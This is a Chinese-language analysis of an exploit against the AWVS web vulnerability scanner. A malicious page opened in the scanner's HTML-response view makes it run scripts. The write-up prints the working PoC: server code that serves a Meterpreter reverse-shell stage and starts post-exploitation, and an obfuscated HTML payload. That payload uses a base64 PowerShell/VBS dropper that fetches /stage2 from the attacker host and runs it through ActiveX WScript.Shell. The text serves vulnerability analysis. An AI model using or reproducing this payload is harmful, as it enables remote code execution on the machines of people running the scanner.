### 漏洞复现及分析
AWVS是一款常用的网站漏洞扫描工具，在漏洞扫描器进行扫描时，如果通过服务器提供一段包含恶意代码的页面，首先存在问题的网页会通知AWVS存在一个XSS漏洞，之后AWVS会在扫描任务中输出这个XSS漏洞的告警，之后AWVS会调用view response功能验证这个漏洞，在调用这个的过程中本地会执行一次漏洞的html网页，在执行的过程中，恶意构造的网页会在本地创建一个vb脚本，该脚本会去访问并获取另一段vb script从而执行而恶意代码，下面对此漏洞进行详细分析。
在分析之前，我需要提一点，本来想对wvs.exe进行动态跟踪，没想到wvs对debug有着严格的审查。
然后用IDA进行分析，发现一个从来没见过的壳。。
所以我们暂且只能通过PoC，以及服务执行过程进行分析，其中最关键的位置我会直接描述。
首先，在服务器端执行poc，之后运行AWVS对poc所在端口进行扫描
可以看到，此时已经获取到了xss漏洞页面，这时我们选择view html response，这是漏洞的关键，html调用时没有对内容进行严格的审查以及对于第三方调用进行限制，导致在AWVS内部直接出发ActiveX插件执行代码，漏洞被触发，这里我们关闭vb执行权限，可以获得报错信息。
根据路径我们访问到出现问题的路径，找到vbs脚本
可以看到，脚本会请求stage2的内容，并将其写入一个script脚本中执行，重新观察PoC有关stage2的描述。
```
elif self.path == "/stage2":
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
# Send the html message
self.wfile.write(base64.b64decode(EXPLOIT_STAGE_2)
% (PAYLOAD_METERPETRER % ip2b(sys.argv[2]), "%TEMP%"))
postexpthread = Thread(target=postexploitation, args=(self.client_address[0], ))
postexpthread.start()
return
```
在stage2中，会将EXPLOIT_STAT_2进行解码后发送，通过浏览器直接访问url/stage2可以获取script内容。
这个script内容其实就是反弹端口的程序，将程序十六进制提取出来，调用vb将程序十六进制代码写入文件中，再执行，与漏洞成因无关，这里就不再讲述，接下来看一下为什么会产生这个漏洞。
来看一下view html response中的代码。
```
function zyx()
{window.called = 1;
var xyz="dABzAGsAaQBsAGwAIAB3AHYAcwANAAoAJABhAD0AJwAnACcADQAKACAAUwBlAHQAIABmAHMAbwAgAD0AIABDAHIAZQBhAHQAZQBPAGIAagBlAGMAdAAoACIAUwBjAHIAaQBwAHQAaQBuAGcALgBGAGkAbABlAFMAeQBzAHQAZQBtAE8AYgBqAGUAYwB0ACIAKQANAAoAIABTAGUAdAAgAHcAcwBoAFMAaABlAGwAbAAgAD0AIABDAHIAZQBhAHQAZQBPAGIAagBlAGMAdAAoACAAIgBXAFMAYwByAGkAcAB0AC4AUwBoAGUAbABsACIAIAApAA0ACgAgAFMAZQB0ACAATwB1AHQAcAAgAD0AIABXAHMAYwByAGkAcAB0AC4AUwB0AGQAbwB1AHQADQAKACAAUwBlAHQAIABGAGkAbABlACAAPQAgAFcAUwBjAHIAaQBwAHQALgBDAHIAZQBhAHQAZQBPAGIAagBlAGMAdAAoACIATQBpAGMAcgBvAHMAbwBmAHQALgBYAE0ATABIAFQAVABQACIAKQANAAoAIABGAGkAbABlAC4ATwBwAGUAbgAgACIARwBFAFQAIgAsACAAIgBoAHQAdABwADoALwAvADAALgAwAC4AMAAuADAAOgA4ADAALwBzAHQAYQBnAGUAMgAiACwAIABGAGEAbABzAGUADQAKACAATQB5AEYAaQBsAGUAIAA9ACAAdwBzAGgAUwBoAGUAbABsAC4ARQB4AHAAYQBuAGQARQBuAHYAaQByAG8AbgBtAGUAbgB0AFMAdAByAGkAbgBnAHMAKAAgACIAJQBUAEUATQBQACUAIgAgACkAKwAiAFwAdABkAFYARgBQAHAASAA5AEgAZwBRAFEALgB2AGIAcwAiAA0ACgAgAEYAaQBsAGUALgBTAGUAbgBkAA0ACgAgAFMAZQB0ACAAQgBTACAAPQAgAEMAcgBlAGEAdABlAE8AYgBqAGUAYwB0ACgAIgBBAEQATwBEAEIALgBTAHQAcgBlAGEAbQAiACkADQAKACAAQgBTAC4AdAB5AHAAZQAgAD0AIAAxAA0ACgAgAEIAUwAuAG8AcABlAG4ADQAKACAAQgBTAC4AVwByAGkAdABlACAARgBpAGwAZQAuAFIAZQBzAHAAbwBuAHMAZQBCAG8AZAB5AA0ACgAgAEIAUwAuAFMAYQB2AGUAVABvAEYAaQBsAGUAIABNAHkARgBpAGwAZQAsACAAMgANAAoAIAB3AHMAaABTAGgAZQBsAGwALgByAHUAbgAgACIAdwBzAGMAcgBpAHAAdAAgACIAKwBNAHkARgBpAGwAZQANAAoAIABmAHMAbwAuAEQAZQBsAGUAdABlAEYAaQBsAGUAKABXAHMAYwByAGkAcAB0AC4AUwBjAHIAaQBwAHQARgB1AGwAbABOAGEAbQBlACkADQAKACAAJwAnACcADQAKACAAJABwAHQAaAAgAD0AIAAoAGcAZQB0AC0AaQB0AGUAbQAgAGUAbgB2ADoAVABFAE0AUAApAC4AVgBhAGwAdQBlACsAIgBcAHMAdABhAGcAZQByAC4AdgBiAHMAIgA7AA0ACgAgAGUAYwBoAG8AIAAkAGEAIAA+ACAAJABwAHQAaAANAAoAIAB3AHMAYwByAGkAcAB0ACAAJABwAHQAaAA=";
eval(function(p,a,c,k,e,d)
{e=function(c)
{return c.toString(36)};
if(!''.replace(/^/,String))
{while(c--)
{d[c.toString(a)]=k[c]||c.toString(a)}
k=[function(e){return d[e]}];
e=function(){return'\\w+'};c=1};
while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 0=6 4("3.1");0.2(\'7 /8 d /e "" "c" -b 9 -a "f"\');',16,16,'\x73\x68\x65\x6c\x6c|\x53\x68\x65\x6c\x6c|\x72\x75\x6e|\x57\x53\x63\x72\x69\x70\x74|\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74|var|new|\x63\x6d\x64|C|Normal|\x65\x6e\x63\x6f\x64\x65\x64\x63\x6f\x6d\x6d\x61\x6e\x64|window\x73\x74\x79\x6c\x65|\x70\x6f\x77\x65\x72\x73\x68\x65\x6c\x6c|\x73\x74\x41\x52\x74|B|$$'.replace("$$",xyz).split('|'),0,{}));
document.body.innerHTML='404 Not found';
}
</script>
<script>if (window.called == 0){zyx();}</script></body></html>
```
我将代码的关键部分提取出来，其中在函数执行中调用到了function zyx，而这个function中涉及到了一个zyx变量，变量内容经过base64加密，其实直接解密后可以看到内容。
这里解密还是存在一定问题，我截取了部分内容，其实zyx变量就是要写入的script脚本。
在执行了view html response之后，会调用html中的内容，触发zyx函数，接下来在代码中
```
e=function(){return'\\w+'};c=1};
while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 0=6 4("3.1");0.2(\'7 /8 d /e "" "c" -b 9 -a "f"\');',16,16,'\x73\x68\x65\x6c\x6c|\x53\x68\x65\x6c\x6c|\x72\x75\x6e|\x57\x53\x63\x72\x69\x70\x74|\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74|var|new|\x63\x6d\x64|C|Normal|\x65\x6e\x63\x6f\x64\x65\x64\x63\x6f\x6d\x6d\x61\x6e\x64|window\x73\x74\x79\x6c\x65|\x70\x6f\x77\x65\x72\x73\x68\x65\x6c\x6c|\x73\x74\x41\x52\x74|B|$$'.replace("$$",xyz).split('|'),0,{}));
```
会对script脚本进行处理，之后会进行第三方调用执行vbs脚本，从而触发漏洞。
Footnotes
[1] http://www.acunetix.com/
[2] http://www.acunetix.com/support/docs/wvs/scheduling-scans/
[3] https://support.microsoft.com/it-it/kb/919240
京公网安备 11010502034610号
Unavailable Comments